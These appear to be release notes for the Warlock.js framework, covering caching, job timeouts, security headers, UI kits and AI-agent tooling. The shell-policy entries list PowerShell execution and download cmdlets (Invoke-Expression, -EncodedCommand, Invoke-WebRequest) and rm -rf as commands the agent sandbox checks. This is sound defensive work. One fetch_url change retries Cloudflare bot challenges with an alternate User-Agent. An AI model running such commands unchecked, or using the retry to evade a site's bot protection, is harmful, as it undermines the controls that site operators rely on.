- Compaction and tool-result clearing can trigger on a share of the model's context window (
afterTokens: { share, reserve?, max? }); adapters reportcontextWindowfor common models. ai.compaction.summarize({ input, requireHeadings })limits what is sent to the summary model and checks the summary for the headings you need.ai.retryModel(model, policy)retries transient failures with backoff,retry-afterand a separate offline budget;cacheControl.keyroutes prompt caching, and opt-in fingerprints show why a cache stopped hitting.- Workspace
shell.rulesallow, ask or deny commands with anonAskapproval callback, andshell.interpreterruns bash, PowerShell, cmd or"auto"under the same checks. - Edits match in tiers with hints on a miss and keep line endings,
hooks.afterEditappends diagnostics, oversized output spills to a file, andfetch_urlconverts pages without optional peers.
- Workspace edit matching now defaults to
"tiered"; setedit.matching: "exact"for the previous exact-only behaviour. fetch_urltext and markdown modes fall back to a built-in converter when the readability peers are missing (passextractor: "readability"for the old error) and retry once on acf-mitigated: challengeresponse (retryOnChallenge: falseto disable).
Full release notes or run npx warlock release-notes.
- AddedCommand rules:
shell.rulesis an ordered list of{ match, effect: "allow" | "ask" | "deny", reason? }(the last matching rule wins, a deny anywhere in a line refuses it) andshell.onAsk({ command, asks, signal })decides on commands that need approval. WithonAskset, commands no rule matches, syntax the parser cannot read (reason: "unparsed") and runners the policy cannot see into ("nested") ask too;{ allow: true, remember: pattern }allows later matching commands for the workspace's life (shared withreadonly()andscope(), never over a deny). New refusal reasons"approval-required"(an ask rule and noonAsk) and"approval-denied". - Added
workspace.shell.classify(line)andclassifyShellCommand(line, policy?)return the simple commands a line would run, oropaquewith the reason when it cannot be read.checkShellCommandtakes an options argument (remembered,host,resolved) and its result gainsasks. - Added
shell.interpreteraccepts"bash","powershell","cmd"and"auto", plusshell.interpreterPath. Each shell has its own parser feeding the same deny / allow /denyPatterns/allowCommand/ rule and path-jail checks. PowerShell runs with-NoLogo -NoProfile -NonInteractive -Command; its dialect covers;,&&,||, pipelines,$( ), the call operator and the usual redirections, refuses script blocks, splatting, here-strings,--%, statements and dot-sourcing, treatsInvoke-Expression,Invoke-Command,Start-Process,Add-Type,Set-Aliasand-EncodedCommandas nested execution, keepsSet-Location/cdinside the jail, and checksRemove-Item,Copy-Item,Move-Item,Get-ChildItem,Get-Content,Invoke-WebRequest,Stop-Processand their aliases in a canonicalrm -rf-style form as well."auto"picksbashthenshon POSIX andpwsh,powershell, Git Bash,cmd.exeon Windows.resolveShell()is exported. - Added
run_shell's description names the resolved shell and its syntax rules;run_testsquotes its pattern for each shell. - AddedNew types
WorkspaceCommandRule,WorkspaceCommandDecision,WorkspaceShellOnAsk,WorkspaceShellAskRequest,WorkspaceShellAskDecision,WorkspaceShellAsk,WorkspaceShellAskReasonandWorkspaceShellClassification. - AddedTiered edit matching.
edit_fileandmulti_editnow findoldStringexactly first, then with line endings normalised, then with look-alike Unicode punctuation folded (matchTier: "unicode"), then line by line ignoring trailing whitespace (matchTier: "whitespace"). A loose match must be unique, even withreplaceAll. Replacement text takes the file's dominant line ending, so CRLF files stay CRLF. Newpolicy.edit:matching("tiered"default,"exact"for the old behaviour),missHintLinesandlineEndings. - AddedA
not-foundedit error carries ahint: the closest file text (at most 12 lines of 200 characters) or a note thatnewStringis already present. - Added
policy.hooks.afterEdit: runs once afterwrite_file,edit_file,multi_editandapply_patchwrite files and returns its text asdiagnosticsbetween[diagnostics]lines. A throw or a timeout reports "diagnostics unavailable" and never fails the edit.afterEditMaxChars(default 4000) andafterEditTimeoutMs(default 10 s) bound it. - Added
policy.output: withspillDir, oversizedrun_shell,shell_output,grep,globandread_fileoutput is saved to aspill-<time>-<random>-<label>.txtfile and the result keeps its head and tail plus a[showing lines … of …; full output saved to …]marker. Results gain atruncationobject beside the booleantruncated.read_filemay open the spill directory;retentionMs(7 days) anddispose()clean up files named like spill files.globResult()is an optionalWorkspaceOpsmethod returning the paths with truncation data. - Changed
resolveInJail()takes an optionalaccessargument ("read"also accepts the spill directory).
- AddedWindow-relative triggers.
compaction.afterTokensandcontextEditing.clearToolResults.afterTokensaccept{ share, reserve?, max? }besides a number, resolved against the newcapabilities.contextWindowof the model: the threshold ismin(floor(window * share), window - reserve, max), never below 1, and it also fires wheninputTokens + maxOutputTokens > window - reserve. A window-relative trigger on a model with an unknown window never fires; compaction records one skipped entry withreason: "unknown-window". Numeric triggers behave as before.TokenTriggeris exported. - Added
ModelCapabilities.contextWindow(tokens, input plus output) for adapters to fill. - Added
ai.compaction.summarize({ input })shrinks what is sent to the summary model, never the live history:maxInputTokens,clipToolOutputChars,dropToolOutputsOlderThanandshrinkOnContextError: [0.85, 0.7](retry shares after a context-length rejection). Steps run oldest first and never touch the newest exchange: tool outputs clipped, replaced by a placeholder, user text only, oldest messages omitted. A reply cut by the output cap is retried once with a smaller input, never at the same size. - Added
ai.compaction.summarize({ requireHeadings })checks the summary for the headings and sends exactly one corrective follow-up before failing as acallback-errorskip.ai.compaction.DEFAULT_COMPACTION_TEMPLATEandDEFAULT_COMPACTION_HEADINGS(Goal, Constraints, Decisions, Work state, Next step, Relevant files) are the ready structure. - AddedCompaction records carry
summarizerInputTokensandattemptswhen the summariser reports them. - Added
ai.retryModel(model, policy?)(retryModel) retries transient failures on the same model before they reach the caller.RetryPolicy:attempts(default 3),baseMs(500),backoff,maxDelayMs(30000),jitter(largest random multiplier, for example1.2),retryOn(codes or predicate; default rate-limit, overloaded, timeout and provider errors),honorRetryAfter(true,falseor{ maxMs }; waits at least the provider'sretryAfter, up to 15 minutes by default),offline: { budgetMs, maxDelayMs }(keeps retryingENOTFOUND,EAI_AGAIN,ENETUNREACH,EHOSTUNREACHandENETDOWNfailures on a separate budget that does not useattempts;ECONNREFUSEDis not offline),maxTimeouts, andonRetry({ attempt, delayMs, cause, budget })withbudget: "general" | "offline". Anx-should-retryheader on the error'scontext.headersoverrides the decision.stream()retries only before the first content chunk. Without the wrapper nothing changes. - Added
ModelCallOptions.cacheControl.keyis a routing key for prompt caching. Adapters whose provider takes one (OpenAI-compatibleprompt_cache_key) send it in place of the adapter-level default; others ignore it. - Added
agent({ diagnostics: { cacheFingerprint: true } })hashes the system prompt, the tool definitions and the message prefix of every trip.LLMTrip.promptFingerprintholds each trip's hashes andAgentReport.promptFingerprintthe last trip's ({ system, tools, messagesPrefix }). When a trip reads far fewer cached tokens than the previous trip read or wrote and the request changed, the agent emitsagent.trip.cache-miss-causewith the changedsegments("system","tools","messages","options"), never on a cold first trip. Only hashes are kept. - Changed
contextEditing.clearToolResultswithoutafterTokenslogs a one-time warning per run: it rewrites the history every trip, which defeats prompt caching on providers without native context editing.
- Added
fetch_urltakesextractor: "auto" | "readability" | "simple"for the"text"/"markdown"modes."auto"(default) uses readability when its optional peers load and it yields at least 200 characters, otherwise a new dependency-free HTML converter;"simple"always uses that converter;"readability"keeps requiring the peers. The result carriesextractornaming the converter used. - Added
fetch_urltakesretryOnChallengeto control the challenge retry described below. - Changed
fetch_urlnow retries once with an alternateUser-Agent, through the same outbound policy, when the first response carries acf-mitigated: challengeheader (retryOnChallenge, defaulttrue; setfalseto disable). Previously there was no retry. - ChangedWith the readability peers absent,
fetch_urlin"text"/"markdown"mode now falls back to the built-in converter under the default"auto"extractor instead of failing with amissing-peererror. Passextractor: "readability"to keep the strict behaviour. - Fixed
fetch_urltruncation atmaxBytesno longer splits a multi-byte UTF-8 character into a replacement character.
- Added
openai.model({ name, contextWindow })setscapabilities.contextWindow; without it the window comes from a table of OpenAI models, and unknown models stay unset so window-relativecompaction.afterTokenstriggers do not fire. - Added
ModelCallOptions.cacheControl.keyis sent asprompt_cache_keyon Chat Completions and Responses requests for the providers that accept it (OpenAI, xAI, Mistral), and takes precedence over the model'spromptCacheKey. Groq, DeepSeek and custom provider labels still receive no cache key.
- Added
anthropic.model({ name, contextWindow })setscapabilities.contextWindow; without it the window comes from a table of 200K Claude models, and unknown models stay unset so window-relativecompaction.afterTokenstriggers do not fire.
- Added
google.model({ name, contextWindow })setscapabilities.contextWindow; without it the window comes from the 1M Gemini families, and unknown models stay unset so window-relativecompaction.afterTokenstriggers do not fire.
- Added
npx warlock release-notesincludes the 5.44.0 notes: window-relative compaction triggers and model context windows, compaction summariser input limits and required headings,ai.retryModel, per-call prompt cache keys and cache fingerprint diagnostics, workspace command rules with approval, bash/PowerShell/cmd interpreters, tiered edit matching, theafterEdithook, spilled tool output, and thefetch_urlbuilt-in extractor.
5.43.0November 1, 2026
Sliding cache expiry, idempotent runs, probabilistic cache structures, job timeouts, and fewer AI model calls.
cache.extend(key, ttl)keeps a value and resets its expiry tottlfrom now, on every driver.idempotent(key, fn, { ttl })runs concurrent calls with one key once and replays the stored result withinttl: the Idempotency-Key pattern for payments, webhooks and retried jobs.cache.structuresadds Bloom and Cuckoo filters, a HyperLogLog unique counter and a Count-Min frequency tracker with Top-K, on Redis and the memory drivers.- Jobs take
timeoutandfailOnTimeout: an attempt that runs too long fails withJobTimeoutError, and handlers getctx.signalto stop work. ai.semanticRouter()routes supervisor runs by embedding similarity and only asks the model when unsure; tools canmemoizeresults, andai.middleware.dedupe()shares identical in-flight model calls.
- A custom cache driver that implements
CacheDriverdirectly, without extendingBaseCacheDriver, must addextend(key, ttl).
Full release notes or run npx warlock release-notes.
- Added
ai.semanticRouter({ name, embedder, intents, examples, confidence: { min, margin }, fallback, store?, learn?, messageCache? })routes the first iteration of a supervisor run by embedding similarity to example phrases and sends only unsure messages tofallback(usuallyai.router({ model, intents })). It plugs intoai.supervisor({ router }).exampleskeys are validated againstintents; an intent without examples is reachable only through the fallback. Example vectors are embedded once and stored under supervisor name, embedder model, intent and phrase hash, in process memory by default or in any@warlock.js/cachedriver (Redis, pg) throughstore; changed phrases or a new embedder recompute only what changed and unused entries are removed. Scoring uses an in-memory copy, message embeddings are cached by exact text (messageCache), andwarm()embeds ahead of the first message.learn: true | { maxPerIntent, minScore }stores agreeing fallback decisions as new examples, capped per intent. - AddedIteration
decisionrecords and thesupervisor.router.decidedevent carryroutedBy: "semantic" | "fallback",scoreandrunnerUpwhen a semantic router decided (RouterDecisionMeta). - Added
memoize: true | { scope: "run" | "session", ttl? }on a tool reuses the result of an identical call (arguments compared with sorted keys) inside the run, or across runs of onesessionId, for read-only tools. Failed calls are not kept. A reused result is markedmemoized: trueon itsToolCallrecord and in theagent.tool.calledevent. - Added
ai.middleware.dedupe({ name?, key? })makes identical model calls that are in flight at the same moment share one provider call; waiting runs get the response with zero usage. Streaming runs are not deduplicated.MiddlewareExecuteContext.streamingtells middleware whether the run usesagent.stream().
- Added
cache.extend(key, ttl)keeps a cached value and resets its expiry tottlfrom now (a sliding expiry such as "keep the session another 30 minutes"). It does not addttlto the time left, resolves tofalsefor a missing or expired key, and accepts the same seconds and duration strings asset(0orInfinityremoves the expiry). It is implemented on every driver (RedisPEXPIRE, PostgresUPDATE, in-place on the memory family and mock, read-and-rewrite onfileand on customBaseCacheDriversubclasses) and forwarded by namespaces and tagged caches. - Added
idempotent(key, fn, { ttl }), alsocache.idempotent(...): concurrent calls with one key share a single run, and repeat calls withinttlreturn the stored result (the Idempotency-Key pattern for payments, webhooks and retried jobs).ttl: 0is pure in-flight dedupe that never touches the store; a failed run is never stored;distributed: trueuses the cache lock so servers sharing a driver runfnonce. - Added
cache.structuresoffersbloom,cuckoo,uniqueCounter(HyperLogLog, withuniqueCounter.merge(keys)) andfrequency(Count-Min plus Top-K) in a few kilobytes. They run on Redis (RedisBloom when the server has it, bitmaps, hashes, native HyperLogLog and sorted sets otherwise) and on thememory,memoryExtendedandlrudrivers; other drivers throwCacheUnsupportedError. A custom driver opts in by implementingstructuresBackend().
- AddedJob timeouts:
defineJob({ timeout: "2m", failOnTimeout?: boolean }), also accepted per dispatch and inqueue.defaultJobOptions(dispatch >defineJob> defaults). An attempt that outlives its limit fails with the new exportedJobTimeoutError(job name, limit intimeout,failOnTimeout), so failed jobs and events show a clear reason, and normalattemptsandbackoffapply.failOnTimeout: truefails the job without retrying (BullMQUnrecoverableErroron Redis). Enforced in the shared processing path, so BullMQ,localandmemorybehave the same. A zero, negative or unparsable timeout throws. - Added
ctx.signalis now passed to handlers on every driver whenever the job has atimeout, and aborts with theJobTimeoutError. A handler that ignores the signal keeps running in the background after its attempt fails, so pass the signal tofetchand database calls.
- Added
npx warlock release-notesincludes the 5.43.0 notes: sliding cache expiry (cache.extend),idempotent(), probabilistic cache structures, job timeouts, and AI semantic routing, tool-result memoization and in-flight model-call dedupe.
5.42.0November 1, 2026
Security headers on every response, and per-route body limits that work in development and tests.
http.securityHeadersis on by default: no site can frame your app, browsers stop guessing content types, and the camera, microphone and location stay limited to your own pages (HSTS in production).- The headers cover routed handlers, static files, 404s, early refusals and SSR pages; turn any header off, or override it per route with the
securityHeadersroute option. - A route's
serverOptions.bodyLimitandpreParsinghooks now apply underwarlock devand the HTTP test server, not only in production. - Pages no longer log a hydration mismatch on nonced scripts under a CSP header.
- If your app frames its own pages, set
http.securityHeaders.frameAncestorsto"self"or a list of sites; an embeddable route can opt out with thesecurityHeadersroute option.
Full release notes or run npx warlock release-notes.
- Added
http.securityHeaders: security response headers on every response, on by default. They are set in the server's firstonRequesthook on the Node response, so routed handlers, static files, 404s, early refusals (CORS, 413, 429, 405, malformed URLs, the page host's refusals), SSR pages and handlers that callreply.raw.writeHead()all carry them, in production,warlock devandcreateTestHttpServer. Defaults: CSPframe-ancestors 'none'withX-Frame-Options: DENY,X-Content-Type-Options: nosniff,Referrer-Policy: strict-origin-when-cross-origin, aPermissions-Policythat keeps camera, microphone and geolocation to the app's own pages and turns accelerometer, gyroscope, magnetometer and usb off, and, in production only,Strict-Transport-Security: max-age=31536000; includeSubDomains(preloadis opt-in). Each header is configurable orfalse;http.securityHeaders: falsedisables all. - AddedA route can override or opt out with the
securityHeadersroute option, for example an embeddable widget with its ownframeAncestors. - AddedWith
http.cspon, the response carries oneContent-Security-Policyheader withframe-ancestorsonce; aframe-ancestorsinhttp.csp.directiveswins oversecurityHeaders.frameAncestors. - AddedExported
buildSecurityHeaders,mergeSecurityHeadersConfig,resolveSecurityHeadersConfig,applySecurityHeadersToRaw,applyRouteSecurityHeaders,registerSecurityHeaders,serializePermissionsPolicy,frameOptionsFor,frameAncestorSources,effectiveFrameAncestors,DEFAULT_PERMISSIONS_POLICY,DEFAULT_REFERRER_POLICY,DEFAULT_HSTS_MAX_AGE,SECURITY_HEADER_NAMESand the typesSecurityHeadersConfig,HstsConfig,FrameAncestorsPolicy,RouteSecurityHeaders. - ChangedApps that do not set
http.securityHeadersnow send the headers above. Pages that frame your own site needframeAncestors: "self"; embedded third-party frames that use the camera, microphone or geolocation need to be listed inpermissionsPolicy. Opt out withhttp.securityHeaders: false. - FixedA route's
serverOptions.bodyLimitnow works underwarlock devand the HTTP test server. Both used to answer 413 for every body above the global limit, so the option only took effect in a production build. The dev dispatcher now holds each request to its matched route'sbodyLimit(the globalhttp.bodyLimitotherwise): a declaredContent-Lengthabove the limit is refused before the body is read, and a chunked body is counted as it streams and refused as soon as it passes the limit, with the same 413FST_ERR_CTP_BODY_TOO_LARGEas production. Changing a limit applies on the next hot reload. Multipart uploads stay bounded byhttp.fileUploadLimit. - FixedA route's
serverOptions.preParsinghooks now run in the dev server, and may replace the payload stream, as in production. - FixedThe dev server warns about
serverOptionsit cannot apply. One boot warning per route and key forschema,errorHandler,onSend,onResponseand the other registration-time options, so a dev/production difference is no longer silent.
- FixedPages no longer log a React hydration mismatch on the nonced
<script>tags when the response carries a Content-Security-Policy header (which the default security headers now always send, andhttp.cspsent before). Browsers hide a nonce's value from the DOM under a CSP, so the framework's payload, route-table and client-entry scripts now suppress that one expected difference.
5.41.0October 29, 2026
Mantine joins shadcn/ui as a second UI kit for the design system.
warlock add design-system --kit mantine(orwarlock add mantine) installs Mantine without Tailwind, with the same component files, props and hooks as the shadcn kit.- Every control binds to Mongez React Form, so app code and generators work with either kit.
- New helpers:
notifyandnotifyOnSubmitfor form toasts,confirm(), and aPaginatedTablefor paginated list responses. create-warlockgains--ui=<shadcn|mantine|none>and a "Full-stack web with Mantine" menu entry.
- Nothing to change for apps on the shadcn kit. To switch to Mantine, remove the shadcn kit's files and dependencies, then run the command again.
Full release notes or run npx warlock release-notes.
- AddedA second UI kit for the design system: Mantine.
warlock add design-system --kit mantine(orwarlock add mantine) installs Mantine with the same component files, props, hooks and validation-error display as the shadcn kit, bound to Mongez React Form (@mantine/formis not used). It does not need Tailwind. It adds exact versions of@mantine/core,hooks,dates,notifications,modalsanddayjs, writespostcss.config.mjswithpostcss-preset-mantine, puts Mantine's stylesheet imports insrc/web/app.css, and wiressrc/web/root.tsx(colour scheme script,mantineHtmlProps, and a provider mountingMantineProvider, the modals manager and the notifications host). Existing files are preserved, and a root with a custom shape is left alone with the lines to add printed. - AddedThe Mantine kit ships
src/web/design-system/mantine-theme.ts(the design tokens you edit),notifyandnotifyOnSubmit(toasts that plug intouseSubmitFormanduseSubmitAction),confirm()and aPaginatedTableshaped after the paginated list response. - Added
warlock add design-system --kit <shadcn|mantine>:shadcnstays the default and still requires Tailwind. The two kits exclude each other: asking for one while the other is installed (detected from files and dependencies), or both in one command, fails before anything is installed or written, with the steps to switch.
- AddedThe
use-the-mantine-kitskill topic covers the Mantine kit of the design system (warlock add design-system --kit mantine): setup, theme, the shared control contract,notify/notifyOnSubmitwithuseSubmitFormanduseSubmitAction,confirm(),PaginatedTableand switching kits.build-accessible-controlsnow names the two kits.
- Added
--ui=<shadcn|mantine|none>chooses the UI kit of a web app.--ui=mantine(or--features=mantine) scaffolds the Mantine kit without Tailwind;shadcnstays the default for--stack=web. The interactive stack menu gains a "Full-stack web with Mantine" entry, and Customize lists Mantine among the rendering features. The two kits exclude each other:shadcnwithmantine, or--uiwith a conflicting feature, fails before any file is written.
5.40.1October 29, 2026
New web projects install their features again, and the design-system files pass the app's lint.
create-warlock --stack=web(and any scaffold withweb,tailwind,shadcn,design-systemorsitemap) no longer reports every feature as failed.warlock addcontinues with a warning when the project config cannot load yet.- Files written by
warlock add design-systempass the scaffolded Oxlint config.
- A web app scaffolded on 5.35 to 5.40.0 without its features: run
npx warlock add web(then any other features you chose) after updating. For lint errors insrc/web/design-system/, rerunnpx warlock add design-system.
Full release notes or run npx warlock release-notes.
- Fixed
warlock addno longer stops whenwarlock.config.tscannot be loaded. A config that imports a package which is not installed yet (for example the web connector, beforewarlock add webhas installed it) printedFailed to load warlock.config.tsand aborted the very command that installs the missing package. The command now prints a warning and continues without the config. - FixedA failed
warlock.config.tsload is no longer cached, so a later load in the same process retries instead of replaying the first error. - Fixed
warlock add design-systemwrites controls and hooks that pass the app's Oxlint config; before,warlock devreportedcurlyandreact(immutability)errors insrc/web/design-system/.
- Fixed
create-warlock --stack=web(and any scaffold that selectsweb,tailwind,shadcn,design-systemorsitemap) failed in the feature step withFailed to load warlock.config.ts: Cannot find package '@warlock.js/web', leaving no feature installed. The web starter'swarlock.config.tsimports the web connector, but@warlock.js/webwas only added topackage.jsonby the firstwarlock add, which could not start without it. The package is now part of the project's first install, at the same version as the other@warlock.jspackages. - Fixed
npm run typecheck:scaffoldcan now scaffold the web stack (-- --stack=web), and the CI "Fresh scaffold typechecks" job runs it for both stacks. - FixedThe design-system files copied into a web app failed the app's own Oxlint config (
curly, andreact(immutability)on ref writes), sowarlock devreported 13 lint errors insrc/web/design-system/. They now pass, and a spec lints the template with the scaffolded config.
5.40.0October 29, 2026
warlock check finishes on large apps, a steadier dev server, tested Windows support, and more control over AI agents.
warlock checkno longer runs for tens of minutes on a large app (about 7,500 files take about 14 seconds), prints progress, and skips a rule that exceeds its 30-second budget withWL9026.- Development server: the first page waits for the compile, reloads touch only real importers, requests wait out a reload, and
appSingleton()keeps one instance across reloads. - Windows: a more reliable process supervisor, fixes for image variants, typecheck paths and atomic JSON writes, and the
fs,process,core,webandaisuites now run on Windows in CI. - AI agents can end a turn after a tool (
stopAfterTools,stopWhen), clear old tool results (contextEditing), build one price list (ai.pricing()), report spend, and remember tool approvals per session. - xAI and OpenAI route native web search to the Responses API; every first-party adapter lists live models;
ai-workspaceadds an atomicapply_patchtool. - A manual
beginTransaction()now covers the caller's later queries.
FinishReasonhas a new member,"tool_stop": add a case where you switch over every finish reason.http.log: truenow writes one line per request; sethttp.logPhases: "info"to keep per-phase lines. Code that callsbeginTransaction()must commit or roll back, because later queries now run inside it.
Full release notes or run npx warlock release-notes.
- Added
http.logPhases: "info"brings back the per-phase request lines atinfo. They are written atdebugby default (see Changed). - Added
appSingleton(key, create, { dispose, disposeOnReload }), withpeekAppSingleton,disposeAppSingletonanddisposeAllAppSingletons: process-wide values stored onglobalThisunderSymbol.for(key). Inwarlock deva source file can be evaluated more than once (every hot reload creates a new generation, and a module that must stay in the page renderer's Vite graph is a second copy), so a module-level variable installed by a connector can read as empty in a route. A singleton is shared by every copy, is disposed on application shutdown and dev restart, and withdisposeOnReloadis disposed when its module reloads. - AddedA dev-server hot reload now runs in a fixed order: new requests wait, requests already running finish on the old code (up to 5 seconds), the old modules are disposed and the new ones imported, then the held requests continue on the new code. A request that waits more than 15 seconds for a reload is answered with
503andRetry-Afterinstead of failing midway or getting a 404. ExportsreloadGateandwhenReloadSettledfor code that needs to wait for a reload. - Added
warlock checkprints one line to stderr when each step starts and ends, and the conventions step reports its milestones (facts collected, every 1000 files with the slowest rule so far). stdout is unchanged, so--jsonstill prints only the JSON report. - AddedEach convention rule has a time budget over a run (30 seconds by default). A rule that goes over it is skipped for the remaining files and reported as a
WL9026warning naming the rule and the time it used, instead of hanging the command. SetruleBudgetMsin.warlock-check.jsonto change it;0turns it off. - ChangedWith
http.log: true, each request now writes oneinfosummary line (GET /orders 200 12ms [request id]) and its per-phase lines (executing, middleware, handler, response, and the validation steps) atdebug, so a polled endpoint no longer floods the log. Warnings and errors keep their level, and a 5xx still leaves its singlerequest.<phase>error record instead of a summary line. Sethttp.logPhases: "info"for the old verbose output. - ChangedDocumented that
Application.onceBooted/whenBootedis the app-level ready hook: it runs after every connector has booted and started, inwarlock dev,warlock startand production builds, once per process (HMR reloads do not re-run it). - FixedOn Windows, image variants failed with a 500 when the cache folder sat deeper than about 100 characters under the project: sharp cannot open a path over 260 characters, and the temporary file name carried the full 64-character hash. The temporary file is now a short
.t-<random>.tmpbeside the target; stale ones are still cleaned up, and the older.tmp-names are still recognised. - FixedOn Windows,
warlock typecheck,warlock check(changed-file selection) andwarlock inspectcompared the compiler's forward-slash paths with backslash paths and found no files or imports, so aliased imports looked unresolved and changed-file runs checked nothing. Paths are now normalised. - FixedThe development model registry kept a different key for a deleted model than for the published one when the project path contained a Windows 8.3 short name or a link, so removals were not recorded against the right entry.
- FixedThe capability inventory could report the framework's own file as the place a capability was defined when running on Windows.
- FixedThe end-to-end browser finder built Linux and macOS candidate paths with the host's path rules; it now uses the rules of the platform it is asked about. The test-worker recommendation reads Linux cgroup paths with POSIX rules on every host.
- FixedOn Windows, the end-to-end app fixture linked the project's pnpm
node_modulesfolder as a whole, which made every package look missing (Windows resolves pnpm's relative links against the junction, not the folder that holds them). Each package is now linked on its own there. - FixedOn Windows, the end-to-end browser (and app fixture) started with an environment that had no
LOCALAPPDATA, so Chrome could not find an app-data folder, ignored the owned profile and never opened its DevTools endpoint. The isolated environment now gives Windows programs an app-data folder inside the owned directory, plus the system variables they need to start. - FixedOn Windows, the end-to-end browser teardown failed when one of the browser's helper processes exited while its process tree was being ended; that case is no longer an error.
- FixedOn Windows,
warlock releaselinkednode_modulesinto the frozen source and the staged release with a directory symlink, which needs administrator rights; it now uses a junction, which does not (no change on Linux and macOS). - FixedA hot reload after a small edit re-processed and re-imported thousands of modules (a three-file change reported
+2309 modulesand took almost a minute). Importers that reach the changed file only throughimport type/export typeare no longer invalidated (the compiler erases those imports), only the changed files are re-read from disk, and the+N modulescount is now reported per changed file instead of as a running total. - FixedStarting
warlock devon a large app spent most of its scan time re-parsing every known file each time a new file was added, so the work grew with the square of the file count. Only files that mention the new file are checked now. - FixedThe typings manifest and other small JSON state files were written in place, so another process reading one during a rewrite could see a truncated file and fail with
Unexpected end of JSON input. They are now written to a temporary file and renamed. - Fixed
warlock checkcould run for tens of minutes in the conventions step on a large app. The.clientboundary rule (WL9022) re-read, re-parsed and re-resolved every shared file for each controller, service, model and route it checked, so the work grew with server-only files times the size of the import graph. Import chains are now read once per run and files known to reach no.clientmodule are never walked again, which makes the step roughly linear in the number of files. - FixedThe conventions step listed and parsed the project twice to collect its project-wide facts; it now lists the files once.
- FixedA check over thousands of files stalled for several seconds at a time, and used far more memory than needed, because every parsed syntax tree kept its parent links in a
WeakMap, which the garbage collector resolves slowly once many trees are alive. Parent links are now stored on the nodes themselves, and each file is parsed once per rule instead of several times; the conventions step on a 7,500-file app dropped from about 105 s to about 14 s, and no rule is skipped by the time budget. - FixedA spec or test file placed next to a CLI command (for example
import-guides.command.spec.tsbesideimport-guides.command.ts) no longer breakswarlock migrateand every other CLI command. Command discovery now skips*.spec.*and*.test.*files, so avi.mock()call in a test is never imported outside Vitest. The same rule now applies tomain,routes,worker,eventsand locale files.
- Added
ai.snapshot.sqlite({ path })stores have aclose()method that closes the database file the store opened. Call it before deleting or moving the file: Windows refuses to delete a file that is still open. A database passed asdatabaseis never closed by the store. The store reopens on its next call. - Added
lint: { ignore: [codes] }on a tool, andignoreinai.config({ toolLint }), drop chosen schema-lint finding codes (for examplemissing-additional-properties-false) for schemas an app deliberately sends as is, such as remote MCP tools. Ignored findings are left out of the report and never warn. - AddedEnd an agent run right after a tool, with no further model call:
stopAfterTools: ["post_message"]andstopWhen: ({ toolCalls, text, usage, messages, tripIndex }) => booleanon the agent, andendsTurn: true | ({ input, output }) => booleanon a tool. The trip is recorded with the newfinishReason: "tool_stop",result.textis the text the model wrote beside the calls, and usage covers only the calls made. A failed tool call never stops the run throughstopAfterToolsorendsTurn.mode: "silent"keeps working as before. - Added
contextEditing: { clearToolResults: { afterTokens?, keep?, exclude?, placeholder?, countTokens? } }on the agent clears old tool results from the history before each model call, with no summarizing call and with every tool call still paired to its result. It runs beforecompaction. A model that advertises the newcapabilities.nativeContextEditingreceives the rule asModelCallOptions.contextEditinginstead, andnative: falseforces client-side clearing. - Added
ai.pricing({ tables })(pricingCatalogue) builds one overridable price list from provider tables such asANTHROPIC_MODEL_PRICING: later tables win,.set(model, pricing)overrides, dated snapshot ids resolve to their alias, and.cost()/.costUSD()price aUsage.budget({ pricing })accepts a catalogue. - Added
budget({ onSpend })is called after every model call, before the caps are compared, with the model, session id, usage, USD cost and running totals, so spend can be persisted. A failing hook never fails the run. - Added
scoped: { window: "all" }keeps a budget ledger that never resets, for per-session or lifetime caps. Withkeyset fromcontext.options?.sessionIdit caps one session;reserverefuses the call before it is made. - Added
ai.human.approval()accepts per-tool modes (tools: { read_file: "allow", delete_file: "deny", run_shell: "ask" },defaultMode,denyReason), andpolicyis now optional when modes cover the tools. - Added
ai.human.approval({ remember })remembers an approval for the rest of the session: a handler decision{ type: "approve", remember: "tool" | "args" }auto-approves that tool, or that tool with identical arguments, for later calls with the samesessionId.ai.human.approvalMemory()is the in-process memory; implementApprovalMemoryto persist approvals. - Added
SDKAdapterContract.models?()and theModelInfo/ModelKind/ListModelsOptionstypes give every adapter one shape for a live model listing (id,label,provider,kind, andcreated,contextWindow,maxOutputTokens,descriptionwhen the provider reports them). An adapter without a listing API has nomodelsmethod. - Added
inferModelKind(id)classifies a model id as chat, embedding, image, audio, moderation or other, for providers whose listing carries no modality field. - ChangedThe
[ai.tool][schema.lint]warning is remembered process-wide, so a tool definition evaluated twice in one process (a dev reload) prints its findings once. - Changed
FinishReasonhas a new member,"tool_stop", set by the agent on a trip that a stop rule ended. Code that switches exhaustively onLLMTrip.finishReasonshould handle it.
- Added
observationTimeoutMssupervisor option: how long the ownership check waits for a guardian reply (and, on Windows, the process helper). Defaults to 2 s on Linux and 15 s on Windows and macOS; the timeout error now names the option. - AddedPlatform defaults for
pollIntervalMs: 100 ms on Linux, 500 ms on macOS, 1500 ms on Windows. Explicit values still win. - ChangedWindows keeps one long-lived PowerShell helper per supervisor instead of starting PowerShell twice per observation. Observations made together share one query, polling reuses a snapshot up to one interval old, the helper restarts if it dies and closes with
stopAll(). - ChangedOn Windows and macOS the launch gate waits on the guardian's pipe instead of reading the full process identity every 10 ms.
- FixedStopping a handle immediately after
spawn()could fail withProcessNotOwnedErroron Linux while the launcher was replacing itself with the workload. The stop now waits out that moment before verifying ownership. - FixedSampling a process that was exiting could report
ProcessNotOwnedErrorfrom a slightly stale process-table snapshot. A mismatch is now re-read fresh first, and a process that is gone counts as exited. - FixedCalling
supervisor()a second time in the same process with the same registry and owner (for example from a second copy of the module after a dev hot reload) now returns the live supervisor instead of failing every launch with "Process registry is already in use". OncestopAll()has finished the registry is free and a new supervisor is created. A different owner on the same registry is still refused. - FixedMembers failed to start on a busy Windows machine with
Process ownership observation timed out. The guardian now replies to the resume request before it launches the workload, so a slow program start no longer counts against the client's timeout.
- Added
apply_patchtool andws.applyPatch({ patch, dryRun? }): apply a unified diff (plain orgit diffstyle) that modifies, creates, deletes and renames several files in one call. The patch is atomic: every hunk is checked first and the files are written only if all apply, with a rollback if a write fails. Paths go through the workspace jail (.., absolute paths and symlinks out are refused), hunks are matched by context so small line drift is fine, CRLF and LF files keep their line endings, and binary patches or binary target files are refused with a clear error.apply_patchis part oftools.all()and is left out ofreadonly(). - Added
WorkspaceEditError.typegains"patch-invalid","hunk-failed"(withhunkIndex),"binary-file","file-exists"and"file-missing". - Added
parsePatch()andapplyHunks()are exported for applying a unified diff to a string without a workspace. - Added
applyPatchis optional on a customWorkspaceOps: an implementation without it still getsapply_patchandws.applyPatch(), built on itsexists,readFile,writeFileandremovewith the same all-or-nothing behaviour (also exported asapplyPatchWithOps). - Added
